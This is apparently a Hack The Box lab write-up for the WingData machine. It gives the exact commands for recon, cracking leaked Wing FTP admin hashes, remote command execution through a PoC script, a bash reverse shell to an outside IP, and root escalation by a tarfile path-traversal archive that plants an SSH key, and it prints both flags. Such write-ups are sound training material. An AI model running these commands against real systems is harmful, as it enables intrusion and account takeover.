HTB WingData Writeup
A concise, practical walkthrough of the HTB WingData machine. It covers host enumeration, VHost discovery, Wing FTP command execution, user shell access, and root escalation via a Python tarfile restore abuse — with exact commands and notes to reproduce the steps.
Overview
A structured tree of this writeup for quick navigation:
- 1 Recon
- 1.1 Nmap scan
- 1.2 Web enumeration
- 1.3 VHost discovery
- 2 Wing FTP compromise
- 2.1 Leaked config files
- 2.2 Command execution
- 3 User shell
- 4 Privilege escalation
- 5 Root proof
1 Recon
1.1 Nmap scan
1
nmap -sC -sV -A -O -T3 wingdata.htb -oN nmap_wingeddata-HTB.txt
Initial host discovery showed only SSH and HTTP:
1
2
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7
80/tcp open http Apache httpd 2.4.66
Rustscan and Nuclei confirmed the same surface and hinted that the site was a standard Apache front-end with an SSH service behind it.
1.2 Web enumeration
I enumerated the HTTP site with directory fuzzing and nuclei:
1
2
3
gobuster dir -u http://wingdata.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html,md -t 25 --no-error
nuclei -target http://wingdata.htb/
nikto -h http://wingdata.htb/
Nothing obvious popped on the main site, but the response headers and templates made it clear the environment was a Linux box with a web service used for file management.
1.3 VHost discovery
VHost fuzzing surfaced the real target:
1
ffuf -c -u 'http://wingdata.htb' -H 'Host: FUZZ.wingdata.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 25 -fw 21 -s
That led to:
ftp.wingdata.htb
2 Wing FTP compromise
2.1 Leaked config files
The site exposed Wing FTP related files locally in my notes:
admins.xmlsettings.xml
Relevant snippets:
1
2
<Admin_Name>admin</Admin_Name>
<Password>a8339f8e4465a9c47158394d8efe7cc45a5f361ab983844c8562bef2193bafba</Password>
1
<ServerPassword>2D35A8D420A697203D7C554A678F8119</ServerPassword>
The admin hash was crackable with John:
1
2
echo 'a8339f8e4465a9c47158394d8efe7cc45a5f361ab983844c8562bef2193bafba:WingFTP' > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=dynamic_62
2.2 Command execution
The exposed ftp.wingdata.htb service was vulnerable to command execution, and I used the local PoC script to run commands remotely:
1
2
python3 52347.py -u http://ftp.wingdata.htb -c whoami
python3 52347.py -u http://ftp.wingdata.htb -c id
I then dropped a reverse shell:
1
python3 52347.py -u http://ftp.wingdata.htb -c 'bash -c "bash -i >& /dev/tcp/10.10.17.61/9999 0>&1"'
This got me a shell as:
wacky
3 User shell
After stabilizing the shell, I grabbed the user flag:
1
2
ls
cat user.txt
User flag:
1
33ae9982badf56fda441ae363f5b4d1d
I also checked sudo rights:
1
sudo -l
That revealed a root-only restore helper:
1
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
4 Privilege escalation
The restore script used Python tar extraction, so I abused the tarfile symlink/path traversal bug tracked by the local PoC as CVE-2025-4138 / CVE-2025-4517.
First, I generated an SSH key pair locally:
1
ssh-keygen -t rsa -f ./rootkey
Then I built the malicious archive with the PoC:
1
python3 exploit.py --preset ssh-key --payload ./rootkey.pub --tar-out backup_999
I copied it to the target:
1
scp backup_999.tar wacky@wingdata.htb:/opt/backup_clients/backups/
And triggered the privileged restore path:
1
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_999.tar -r restore_test
The archive wrote my public key into /root/.ssh/authorized_keys, so root SSH worked immediately.
5 Root flag
1
2
ssh -i rootkey root@wingdata.htb
cat /root/root.txt
Root flag:
1
c115a4c46763bfb9edbf7623082fe0aa